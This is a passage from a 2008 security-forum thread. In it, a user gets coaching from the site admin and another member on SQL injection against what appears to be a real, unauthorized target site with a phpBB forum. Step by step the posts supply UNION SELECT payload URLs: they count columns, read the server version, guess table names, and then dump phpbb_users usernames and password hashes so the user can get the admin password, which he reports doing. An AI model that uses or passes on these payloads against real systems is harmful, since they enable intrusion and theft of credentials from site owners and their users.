Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 69
Members: 0
Total: 69
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> xss? Goto page Previous1, 2, 3, 4Next
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Sat Nov 08, 2008 1:09 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




only in:
Code:
<title>xyz</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1253">
<link href="css/style.css" rel="stylesheet" type="text/css">
<meta name="keywords" content="xyz">
<meta name="description" content="xyz">


btw i downloaded the program..
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:28 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So you have visual feedback!

If you tried this before:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1111,2222,3333,4444,5555,6666,7777,8888,9999,101010--+


then what number you saw in title?

And try this:

Code:

index.php?mode=search&content=-1+UNION+SELECT+@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Nov 08, 2008 1:35 pm Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




with the 1st one i get 2222 on the title.. and

with the second

4.1.20[/code]
View user's profile Send private message
PostPosted: Sat Nov 08, 2008 1:58 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, you want get admin's pass? Do you have access to admin login page?
And you can try to guess possible interesting table names:

Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+admin--+

Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+admins--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+user--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+users--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+account--+


Code:

index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+member--+


... you got idea Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Nov 09, 2008 12:32 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




no i dont have access to admin's login page ..

i have to keeep trying until i find the databases name ?

isnt there anyway i could find the name ? Smile
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 12:43 am Reply with quote
Henderson
Valuable expert
Valuable expert
Joined: Jul 11, 2008
Posts: 58




You can also check if there's any opensource script installed, e.g. a forum. It's tables could be in the same db Razz
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 1:33 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




it has a forum (phpbb 2.0.21) on www.xxxxx.com/forum/
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 1:50 am Reply with quote
Henderson
Valuable expert
Valuable expert
Joined: Jul 11, 2008
Posts: 58




Then try to read from table phpbb_users Razz
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 2:00 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




hm..
Code:
http://www.xxxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,COUNT(*),3,4,5,6,7,8,9,10+FROM+phpbb_users--+


it does open the site without error and it has 91 in page title..

???
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 2:05 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So there is 91 users in that table Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Nov 09, 2008 2:18 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




erm.. yes .. i dint really care about how many they are Razz
the admin pass is the one i need Smile

btw with
Code:
http://www.xxxxxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,username,3,4,5,6,7,8,9,10+FROM+phpbb_users


i get "Anonymous".

Razz
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 2:26 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




and also with:
Code:
http://www.xxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,concat(user(),0x3e,version()),3,4,5,6,7,8,9,10+FROM+phpbb_users


i get megahz4@fusion.bpweb.net>4.1.20

grrrr. how can i get the pass ???? Razz
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 2:37 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Code:

http://www.xxxxxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,CONCAT_WS(0x3a,username,user_password),3,4,5,6,7,8,9,10+FROM+phpbb_users+ORDER+BY+user_id+ASC+LIMIT+1,1


Code:

http://www.xxxxxxxx.com/index.php?mode=search&content=-1+UNION+SELECT+1,CONCAT_WS(0x3a,username,user_password),3,4,5,6,7,8,9,10+FROM+phpbb_users+ORDER+BY+user_id+ASC+LIMIT+2,1


... and so on Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Nov 09, 2008 2:42 am Reply with quote
skmpz
Advanced user
Advanced user
Joined: Oct 11, 2008
Posts: 169
Location: Cyprus




at laaaaaaast!!!
thanx a lot waraxe ur the best Smile

u2 hendersson..

erm.. smth last.. is the admin user always 1st ? i mean id 1 ?
View user's profile Send private message
PostPosted: Sun Nov 09, 2008 2:50 am Reply with quote
Henderson
Valuable expert
Valuable expert
Joined: Jul 11, 2008
Posts: 58




Admin id is 2 in phpbb Very Happy
View user's profile Send private message
xss?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 2 of 4
Goto page Previous1, 2, 3, 4Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.058 Seconds